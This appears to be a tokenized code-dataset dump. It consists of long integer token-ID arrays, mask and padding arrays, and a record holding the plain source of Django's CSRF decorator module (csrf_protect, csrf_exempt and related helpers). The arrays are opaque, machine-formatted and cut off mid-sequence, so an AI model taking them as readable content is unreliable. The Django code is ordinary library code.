199,
3,
7126,
12,
1549,
9206,
27,
1549,
9748,
9831,
9,
9802,
9817,
2401,
5258,
1821,
199,
3,
9815,
1634,
5603,
12,
7061,
1621,
7066,
12,
9644,
5603,
12,
1549,
7056,
199,
3,
334,
6446,
9254,
1549,
7334,
9,
7043,
1621,
1821,
9683,
5738,
1634,
2334,
4815,
199,
3,
1634,
5749,
4141,
12,
9704,
8036,
9691,
1634,
2334,
9726,
1634,
9712,
9784,
14,
199,
199,
646,
2022,
199,
646,
2050,
199,
504,
8691,
492,
1852,
63,
1422,
199,
199,
504,
18007,
14,
2330,
14,
888,
14,
3543,
878,
492,
21447,
351,
1296,
199,
504,
18007,
14,
2330,
14,
888,
14,
5203,
492,
17993,
4313,
199,
504,
18007,
14,
2330,
14,
2253,
14,
11381,
492,
23754,
199,
504,
18007,
14,
2330,
14,
2253,
14,
1628,
13441,
492,
14914,
547,
199,
504,
18007,
14,
3557,
14,
3018,
14,
21423,
5451,
3045,
1765,
492,
662,
285,
590,
3849,
3989,
4476,
12,
662,
285,
590,
3849,
3989,
4476,
21553,
199,
504,
18007,
14,
3557,
14,
3018,
14,
2062,
9968,
492,
13796,
29415,
199,
504,
18007,
14,
3557,
14,
3018,
14,
4209,
396,
2604,
5503,
492,
25604,
774,
6579,
5929,
199,
504,
18007,
14,
3557,
14,
3018,
14,
2068,
4797,
11734,
813,
492,
30849,
1378,
16581,
11173,
199,
504,
18007,
14,
3557,
14,
3018,
14,
1825,
3908,
492,
10703,
8524,
199,
504,
18007,
14,
3557,
14,
4405,
14,
18849,
492,
11836,
21000,
3737,
199,
199,
63,
793,
275,
2050,
14,
5572,
3460,
354,
3368,
421,
199,
533,
11836,
37,
285,
590,
3849,
3989,
8,
8458,
21000,
3737,
12,
662,
285,
590,
3849,
3989,
4476,
21553,
304,
272,
485,
1506,
63,
2487,
275,
298,
3221,
2,
272,
327,
7600,
26,
17711,
485,
885,
63,
1065,
63,
2219,
687,
2450,
13,
262,
370,
2450,
13,
548,
5403,
1655,
31726,
787,
10144,
370,
1255,
2295,
14,
272,
1255,
63,
2219,
275,
756,
339,
347,
636,
826,
721,
277,
304,
267,
1511,
275,
359,
1875,
63,
1422,
6739,
1065,
13,
2219,
401,
1595,
628,
1617,
63,
2052,
401,
2053,
628,
1065,
63,
2219,
401,
849,
29,
277,
14,
1065,
63,
2219,
12,
1720,
628,
2540,
314,
25604,
2295,
367,
1924,
3371,
11323,
267,
11836,
21000,
3737,
855,
826,
721,
277,
12,
1511,
29,
1419,
9,
339,
347,
5386,
63,
800,
63,
1825,
8,
277,
304,
267,
11836,
21000,
3737,
14,
5037,
63,
800,
63,
1825,
8,
277,
9,
267,
291,
423,
2062,
63,
9968,
275,
13796,
29415,
342,
267,
291,
423,
4209,
63,
396,
63,
2604,
63,
5503,
275,
25604,
774,
6579,
5929,
8,
277,
423,
3557,
12,
291,
423,
719,
14,
2604,
63,
3619,
1062,
291,
423,
793,
63,
3619,
1012,
339,
347,
485,
25299,
63,
2219,
63,
1188,
8,
277,
12,
2120,
12,
3371,
304,
267,
2058,
275,
2120,
14,
2604,
63,
504,
63,
2068,
63,
396,
63,
1065,
8,
2068,
9,
267,
10537,
63,
9968,
275,
291,
423,
2062,
63,
9968,
14,
8953,
63,
9968,
63,
22300,
8,
2604,
9,
267,
340,
440,
10537,
63,
9968,
26,
288,
372,
488,
267,
372,
298,
4665,
18648,
2295,
3427,
78,
5,
83,
2,
450,
1867,
78,
1674,
904,
8,
8953,
63,
9968,
9,
339,
347,
485,
1932,
63,
16857,
63,
1188,
63,
265,
63,
1266,
8,
277,
12,
4744,
12,
3371,
12,
2004,
63,
344,
12,
2402,
63,
1188,
63,
505,
29,
403,
304,
267,
2058,
63,
1073,
275,
4744,
14,
1205,
63,
1000,
14,
2604,
63,
633,
63,
509,
63,
1205,
8,
1205,
63,
344,
9,
267,
1245,
275,
298,
22662,
450,
83,
8103,
440,
986,
450,
83,
4366,
83,
17211,
78,
2959,
26,
450,
83,
2,
450,
334,
2068,
14,
344,
1062,
291,
14,
354,
12,
291,
14,
719,
63,
354,
12,
2058,
63,
1073,
9,
267,
340,
2402,
63,
1188,
63,
505,
26,
288,
1245,
847,
1867,
78,
60,
78,
5,
83,
2,
450,
2402,
63,
1188,
63,
505,
267,
327,
7600,
26,
2136,
5594,
2934,
370,
1050,
2005,
1318,
3595,
17100,
316,
687,
314,
5532,
13,
1825,
315,
267,
327,
314,
1930,
2382,
3371,
14,
3543,
63,
1825,
342,
5712,
1133,
2575,
663,
370,
2475,
1370,
267,
340,
291,
14,
6821,
1192,
26,
288,
4744,
14,
13017,
14,
525,
63,
2055,
63,
475,
63,
1266,
8,
2068,
14,
1266,
63,
344,
1062,
291,
14,
6821,
1192,
9,
267,
4744,
14,
13017,
14,
409,
63,
4173,
63,
265,
63,
8905,
8,
2068,
14,
344,
1062,
298,
3543,
13,
1825,
401,
3905,
401,
1245,
9,
339,
347,
11248,
63,
2068,
8,
277,
12,
3371,
304,
267,
2120,
275,
662,
285,
590,
3849,
3989,
4476,
8,
277,
12,
3371,
12,
291,
423,
1419,
14,
1065,
63,
2219,
9,
267,
340,
440,
2120,
14,
3502
] |
[
1898,
334,
67,
9,
8937,
4475,
3277,
14,
2900,
4481,
4644,
14,
199,
3,
199,
3,
10114,
436,
675,
315,
1350,
436,
3366,
4513,
12,
543,
503,
1928,
199,
3,
7100,
12,
787,
8211,
2741,
626,
314,
2569,
3704,
787,
199,
3,
7647,
26,
199,
3,
199,
3,
258,
627,
6823,
402,
1350,
1233,
1471,
8074,
314,
3432,
4248,
199,
3,
4245,
12,
642,
769,
402,
3704,
436,
314,
2569,
6450,
14,
199,
3,
258,
627,
6823,
315,
3366,
1824,
1471,
9172,
314,
3432,
199,
3,
4248,
4245,
12,
642,
769,
402,
3704,
436,
314,
2569,
6450,
199,
3,
315,
314,
3794,
436,
15,
269,
1163,
8418,
2741,
543,
314,
199,
3,
4084,
14,
199,
3,
258,
627,
11443,
314,
536,
402,
4475,
3277,
14,
6590,
314,
1561,
402,
2399,
199,
3,
8417,
1443,
506,
1202,
370,
10692,
503,
10016,
7585,
7131,
687,
199,
3,
642,
2032,
1928,
2488,
6791,
5313,
4983,
14,
199,
3,
199,
3,
5749,
4141,
2281,
7049,
6515,
2334,
5877,
8164,
2401,
6483,
199,
3,
298,
1179,
2281,
2,
2401,
1821,
7168,
1549,
5292,
2990,
12,
6931,
12,
5400,
2845,
199,
3,
5471,
2296,
12,
2334,
5292,
2990,
1634,
3169,
2401,
3092,
2381,
199,
3,
437,
3115,
3104,
9315,
9706,
14,
1621,
4825,
6461,
7000,
2334,
5877,
199,
3,
11489,
1549,
6483,
6262,
7024,
2381,
1821,
8703,
12,
9168,
12,
9716,
12,
199,
3,
8820,
12,
9836,
12,
1549,
9110,
6736,
334,
6446,
12,
5400,
2845,
199,
3,
5471,
2296,
12,
9838,
1634,
9103,
9764,
1549,
9714,
27,
9102,
1634,
4815,
12,
199,
3,
7126,
12,
1549,
9206,
27,
1549,
9748,
9831,
9,
9802,
9817,
2401,
5258,
1821,
199,
3,
9815,
1634,
5603,
12,
7061,
1621,
7066,
12,
9644,
5603,
12,
1549,
7056,
199,
3,
334,
6446,
9254,
1549,
7334,
9,
7043,
1621,
1821,
9683,
5738,
1634,
2334,
4815,
199,
3,
1634,
5749,
4141,
12,
9704,
8036,
9691,
1634,
2334,
9726,
1634,
9712,
9784,
14,
199,
199,
646,
2022,
199,
646,
2050,
199,
504,
8691,
492,
1852,
63,
1422,
199,
199,
504,
18007,
14,
2330,
14,
888,
14,
3543,
878,
492,
21447,
351,
1296,
199,
504,
18007,
14,
2330,
14,
888,
14,
5203,
492,
17993,
4313,
199,
504,
18007,
14,
2330,
14,
2253,
14,
11381,
492,
23754,
199,
504,
18007,
14,
2330,
14,
2253,
14,
1628,
13441,
492,
14914,
547,
199,
504,
18007,
14,
3557,
14,
3018,
14,
21423,
5451,
3045,
1765,
492,
662,
285,
590,
3849,
3989,
4476,
12,
662,
285,
590,
3849,
3989,
4476,
21553,
199,
504,
18007,
14,
3557,
14,
3018,
14,
2062,
9968,
492,
13796,
29415,
199,
504,
18007,
14,
3557,
14,
3018,
14,
4209,
396,
2604,
5503,
492,
25604,
774,
6579,
5929,
199,
504,
18007,
14,
3557,
14,
3018,
14,
2068,
4797,
11734,
813,
492,
30849,
1378,
16581,
11173,
199,
504,
18007,
14,
3557,
14,
3018,
14,
1825,
3908,
492,
10703,
8524,
199,
504,
18007,
14,
3557,
14,
4405,
14,
18849,
492,
11836,
21000,
3737,
199,
199,
63,
793,
275,
2050,
14,
5572,
3460,
354,
3368,
421,
199,
533,
11836,
37,
285,
590,
3849,
3989,
8,
8458,
21000,
3737,
12,
662,
285,
590,
3849,
3989,
4476,
21553,
304,
272,
485,
1506,
63,
2487,
275,
298,
3221,
2,
272,
327,
7600,
26,
17711,
485,
885,
63,
1065,
63,
2219,
687,
2450,
13,
262,
370,
2450,
13,
548,
5403,
1655,
31726,
787,
10144,
370,
1255,
2295,
14,
272,
1255,
63,
2219,
275,
756,
339,
347,
636,
826,
721,
277,
304,
267,
1511,
275,
359,
1875,
63,
1422,
6739,
1065,
13,
2219,
401,
1595,
628,
1617,
63,
2052,
401,
2053,
628,
1065,
63,
2219,
401,
849,
29,
277,
14,
1065,
63,
2219,
12,
1720,
628,
2540,
314,
25604,
2295,
367,
1924,
3371,
11323,
267,
11836,
21000,
3737,
855,
826,
721,
277,
12,
1511,
29,
1419,
9,
339,
347,
5386,
63,
800,
63,
1825,
8,
277,
304,
267,
11836,
21000,
3737,
14,
5037,
63,
800,
63,
1825,
8,
277,
9,
267,
291,
423,
2062,
63,
9968,
275,
13796,
29415,
342,
267,
291,
423,
4209,
63,
396,
63,
2604,
63,
5503,
275,
25604,
774,
6579,
5929,
8,
277,
423,
3557,
12,
291,
423,
719,
14,
2604,
63,
3619,
1062,
291,
423,
793,
63,
3619,
1012,
339,
347,
485,
25299,
63,
2219,
63,
1188,
8,
277,
12,
2120,
12,
3371,
304,
267,
2058,
275,
2120,
14,
2604,
63,
504,
63,
2068,
63,
396,
63,
1065,
8,
2068,
9,
267,
10537,
63,
9968,
275,
291,
423,
2062,
63,
9968,
14,
8953,
63,
9968,
63,
22300,
8,
2604,
9,
267,
340,
440,
10537,
63,
9968,
26,
288,
372,
488,
267,
372,
298,
4665,
18648,
2295,
3427,
78,
5,
83,
2,
450,
1867,
78,
1674,
904,
8,
8953,
63,
9968,
9,
339,
347,
485,
1932,
63,
16857,
63,
1188,
63,
265,
63,
1266,
8,
277,
12,
4744,
12,
3371,
12,
2004,
63,
344,
12,
2402,
63,
1188,
63,
505,
29,
403,
304,
267,
2058,
63,
1073,
275,
4744,
14,
1205,
63,
1000,
14,
2604,
63,
633,
63,
509,
63,
1205,
8,
1205,
63,
344,
9,
267,
1245,
275,
298,
22662,
450,
83,
8103,
440,
986,
450,
83,
4366,
83,
17211,
78,
2959,
26,
450,
83,
2,
450,
334,
2068,
14,
344,
1062,
291,
14,
354,
12,
291,
14,
719,
63,
354,
12,
2058,
63,
1073,
9,
267,
340,
2402,
63,
1188,
63,
505,
26,
288,
1245,
847,
1867,
78,
60,
78,
5,
83,
2,
450,
2402,
63,
1188,
63,
505,
267,
327,
7600,
26,
2136,
5594,
2934,
370,
1050,
2005,
1318,
3595,
17100,
316,
687,
314,
5532,
13,
1825,
315,
267,
327,
314,
1930,
2382,
3371,
14,
3543,
63,
1825,
342,
5712,
1133,
2575,
663,
370,
2475,
1370,
267,
340,
291,
14,
6821,
1192,
26,
288,
4744,
14,
13017,
14,
525,
63,
2055,
63,
475,
63,
1266,
8,
2068,
14,
1266,
63,
344,
1062,
291,
14,
6821,
1192,
9,
267,
4744,
14,
13017,
14,
409,
63,
4173,
63,
265,
63,
8905,
8,
2068,
14,
344,
1062,
298,
3543,
13,
1825,
401,
3905,
401,
1245,
9,
339,
347,
11248,
63,
2068,
8,
277,
12,
3371,
304,
267,
2120,
275,
662,
285,
590,
3849,
3989,
4476,
8,
277,
12,
3371,
12,
291,
423,
1419,
14,
1065,
63,
2219,
9,
267,
340,
440,
2120,
14,
3502,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
qwertyjune/BethSaidaBible
|
venv/lib/python2.7/site-packages/django/views/decorators/csrf.py
|
228
|
2201
|
from django.middleware.csrf import CsrfViewMiddleware, get_token
from django.utils.decorators import decorator_from_middleware, available_attrs
from functools import wraps
csrf_protect = decorator_from_middleware(CsrfViewMiddleware)
csrf_protect.__name__ = "csrf_protect"
csrf_protect.__doc__ = """
This decorator adds CSRF protection in exactly the same way as
CsrfViewMiddleware, but it can be used on a per view basis. Using both, or
using the decorator multiple times, is harmless and efficient.
"""
class _EnsureCsrfToken(CsrfViewMiddleware):
# We need this to behave just like the CsrfViewMiddleware, but not reject
# requests or log warnings.
def _reject(self, request, reason):
return None
requires_csrf_token = decorator_from_middleware(_EnsureCsrfToken)
requires_csrf_token.__name__ = 'requires_csrf_token'
requires_csrf_token.__doc__ = """
Use this decorator on views that need a correct csrf_token available to
RequestContext, but without the CSRF protection that csrf_protect
enforces.
"""
class _EnsureCsrfCookie(CsrfViewMiddleware):
def _reject(self, request, reason):
return None
def process_view(self, request, callback, callback_args, callback_kwargs):
retval = super(_EnsureCsrfCookie, self).process_view(request, callback, callback_args, callback_kwargs)
# Forces process_response to send the cookie
get_token(request)
return retval
ensure_csrf_cookie = decorator_from_middleware(_EnsureCsrfCookie)
ensure_csrf_cookie.__name__ = 'ensure_csrf_cookie'
ensure_csrf_cookie.__doc__ = """
Use this decorator to ensure that a view sets a CSRF cookie, whether or not it
uses the csrf_token template tag, or the CsrfViewMiddleware is used.
"""
def csrf_exempt(view_func):
"""
Marks a view function as being exempt from the CSRF view protection.
"""
# We could just do view_func.csrf_exempt = True, but decorators
# are nicer if they don't have side-effects, so we return a new
# function.
def wrapped_view(*args, **kwargs):
return view_func(*args, **kwargs)
wrapped_view.csrf_exempt = True
return wraps(view_func, assigned=available_attrs(view_func))(wrapped_view)
|
gpl-3.0
|
[
504,
1639,
14,
5754,
14,
10088,
492,
22145,
25322,
12,
664,
63,
1418,
199,
504,
1639,
14,
1208,
14,
11582,
492,
7531,
63,
504,
63,
5754,
12,
2808,
63,
3288,
199,
504,
9143,
492,
14018,
199,
199,
10088,
63,
18292,
275,
7531,
63,
504,
63,
5754,
8,
13912,
25322,
9,
199,
10088,
63,
18292,
855,
354,
363,
275,
298,
10088,
63,
18292,
2,
199,
10088,
63,
18292,
855,
1301,
363,
275,
408,
199,
2765,
7531,
9584,
22468,
23977,
315,
8840,
314,
2011,
4340,
465,
199,
13912,
25322,
12,
1325,
652,
883,
506,
1202,
641,
282,
1126,
2455,
5597,
14,
221,
11719,
3865,
12,
503,
199,
4941,
314,
7531,
3663,
5431,
12,
365,
394,
5362,
2003,
436,
13402,
14,
199,
624,
421,
199,
533,
485,
13913,
13912,
3941,
3264,
8,
13912,
25322,
304,
272,
327,
2136,
1929,
642,
370,
24062,
2951,
2839,
314,
22145,
25322,
12,
1325,
440,
17100,
272,
327,
4145,
503,
943,
3598,
14,
272,
347,
485,
16857,
8,
277,
12,
1056,
12,
4499,
304,
267,
372,
488,
421,
199,
6537,
63,
10088,
63,
1418,
275,
7531,
63,
504,
63,
5754,
1547,
13913,
13912,
3941,
3264,
9,
199,
6537,
63,
10088,
63,
1418,
855,
354,
363,
275,
283,
6537,
63,
10088,
63,
1418,
7,
199,
6537,
63,
10088,
63,
1418,
855,
1301,
363,
275,
408,
199,
6119,
642,
7531,
641,
6858,
626,
1929,
282,
3211,
19213,
63,
1418,
2808,
370,
199,
17679,
12,
1325,
1928,
314,
22468,
23977,
626,
19213,
63,
18292,
199,
287,
509,
823,
14,
199,
624,
421,
199,
533,
485,
13913,
13912,
3941,
7810,
8,
13912,
25322,
304,
272,
347,
485,
16857,
8,
277,
12,
1056,
12,
4499,
304,
267,
372,
488,
339,
347,
2112,
63,
1345,
8,
277,
12,
1056,
12,
3233,
12,
3233,
63,
589,
12,
3233,
63,
958,
304,
267,
9151,
275,
1613,
1547,
13913,
13912,
3941,
7810,
12,
291,
680,
1412,
63,
1345,
8,
1069,
12,
3233,
12,
3233,
63,
589,
12,
3233,
63,
958,
9,
267,
327,
2104,
823,
2112,
63,
1310,
370,
3222,
314,
5494,
267,
664,
63,
1418,
8,
1069,
9,
267,
372,
9151,
421,
199,
7505,
63,
10088,
63,
5306,
275,
7531,
63,
504,
63,
5754,
1547,
13913,
13912,
3941,
7810,
9,
199,
7505,
63,
10088,
63,
5306,
855,
354,
363,
275,
283,
7505,
63,
10088,
63,
5306,
7,
199,
7505,
63,
10088,
63,
5306,
855,
1301,
363,
275,
408,
199,
6119,
642,
7531,
370,
4868,
626,
282,
2455,
5951,
282,
22468,
5494,
12,
3775,
503,
440,
652,
199,
5589,
314,
19213,
63,
1418,
1978,
1947,
12,
503,
314,
22145,
25322,
365,
1202,
14,
199,
624,
421,
199,
318,
19213,
63,
25254,
8,
1345,
63,
1532,
304,
272,
408,
272,
7173,
83,
282,
2455,
805,
465,
3769,
444,
19046,
687,
314,
22468,
2455,
23977,
14,
272,
408,
272,
327,
2136,
4293,
2951,
886,
2455,
63,
1532,
14,
10088,
63,
25254,
275,
715,
12,
1325,
20419,
272,
327,
787,
30023,
340,
2985,
2793,
1133,
1172,
5366,
13,
27626,
12,
880,
781,
372,
282,
892,
272,
327,
805,
14,
272,
347,
8072,
63,
1345,
2031,
589,
12,
1011,
958,
304,
267,
372,
2455,
63,
1532,
2031,
589,
12,
1011,
958,
9,
272,
8072,
63,
1345,
14,
10088,
63,
25254,
275,
715,
272,
372,
14018,
8,
1345,
63,
1532,
12,
7943,
29,
4561,
63,
3288,
8,
1345,
63,
1532,
430,
8,
9130,
63,
1345,
9,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
1639,
14,
5754,
14,
10088,
492,
22145,
25322,
12,
664,
63,
1418,
199,
504,
1639,
14,
1208,
14,
11582,
492,
7531,
63,
504,
63,
5754,
12,
2808,
63,
3288,
199,
504,
9143,
492,
14018,
199,
199,
10088,
63,
18292,
275,
7531,
63,
504,
63,
5754,
8,
13912,
25322,
9,
199,
10088,
63,
18292,
855,
354,
363,
275,
298,
10088,
63,
18292,
2,
199,
10088,
63,
18292,
855,
1301,
363,
275,
408,
199,
2765,
7531,
9584,
22468,
23977,
315,
8840,
314,
2011,
4340,
465,
199,
13912,
25322,
12,
1325,
652,
883,
506,
1202,
641,
282,
1126,
2455,
5597,
14,
221,
11719,
3865,
12,
503,
199,
4941,
314,
7531,
3663,
5431,
12,
365,
394,
5362,
2003,
436,
13402,
14,
199,
624,
421,
199,
533,
485,
13913,
13912,
3941,
3264,
8,
13912,
25322,
304,
272,
327,
2136,
1929,
642,
370,
24062,
2951,
2839,
314,
22145,
25322,
12,
1325,
440,
17100,
272,
327,
4145,
503,
943,
3598,
14,
272,
347,
485,
16857,
8,
277,
12,
1056,
12,
4499,
304,
267,
372,
488,
421,
199,
6537,
63,
10088,
63,
1418,
275,
7531,
63,
504,
63,
5754,
1547,
13913,
13912,
3941,
3264,
9,
199,
6537,
63,
10088,
63,
1418,
855,
354,
363,
275,
283,
6537,
63,
10088,
63,
1418,
7,
199,
6537,
63,
10088,
63,
1418,
855,
1301,
363,
275,
408,
199,
6119,
642,
7531,
641,
6858,
626,
1929,
282,
3211,
19213,
63,
1418,
2808,
370,
199,
17679,
12,
1325,
1928,
314,
22468,
23977,
626,
19213,
63,
18292,
199,
287,
509,
823,
14,
199,
624,
421,
199,
533,
485,
13913,
13912,
3941,
7810,
8,
13912,
25322,
304,
272,
347,
485,
16857,
8,
277,
12,
1056,
12,
4499,
304,
267,
372,
488,
339,
347,
2112,
63,
1345,
8,
277,
12,
1056,
12,
3233,
12,
3233,
63,
589,
12,
3233,
63,
958,
304,
267,
9151,
275,
1613,
1547,
13913,
13912,
3941,
7810,
12,
291,
680,
1412,
63,
1345,
8,
1069,
12,
3233,
12,
3233,
63,
589,
12,
3233,
63,
958,
9,
267,
327,
2104,
823,
2112,
63,
1310,
370,
3222,
314,
5494,
267,
664,
63,
1418,
8,
1069,
9,
267,
372,
9151,
421,
199,
7505,
63,
10088,
63,
5306,
275,
7531,
63,
504,
63,
5754,
1547,
13913,
13912,
3941,
7810,
9,
199,
7505,
63,
10088,
63,
5306,
855,
354,
363,
275,
283,
7505,
63,
10088,
63,
5306,
7,
199,
7505,
63,
10088,
63,
5306,
855,
1301,
363,
275,
408,
199,
6119,
642,
7531,
370,
4868,
626,
282,
2455,
5951,
282,
22468,
5494,
12,
3775,
503,
440,
652,
199,
5589,
314,
19213,
63,
1418,
1978,
1947,
12,
503,
314,
22145,
25322,
365,
1202,
14,
199,
624,
421,
199,
318,
19213,
63,
25254,
8,
1345,
63,
1532,
304,
272,
408,
272,
7173,
83,
282,
2455,
805,
465,
3769,
444,
19046,
687,
314,
22468,
2455,
23977,
14,
272,
408,
272,
327,
2136,
4293,
2951,
886,
2455,
63,
1532,
14,
10088,
63,
25254,
275,
715,
12,
1325,
20419,
272,
327,
787,
30023,
340,
2985,
2793,
1133,
1172,
5366,
13,
27626,
12,
880,
781,
372,
282,
892,
272,
327,
805,
14,
272,
347,
8072,
63,
1345,
2031,
589,
12,
1011,
958,
304,
267,
372,
2455,
63,
1532,
2031,
589,
12,
1011,
958,
9,
272,
8072,
63,
1345,
14,
10088,
63,
25254,
275,
715,
272,
372,
14018,
8,
1345,
63,
1532,
12,
7943,
29,
4561,
63,
3288,
8,
1345,
63,
1532,
430,
8,
9130,
63,
1345,
9,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
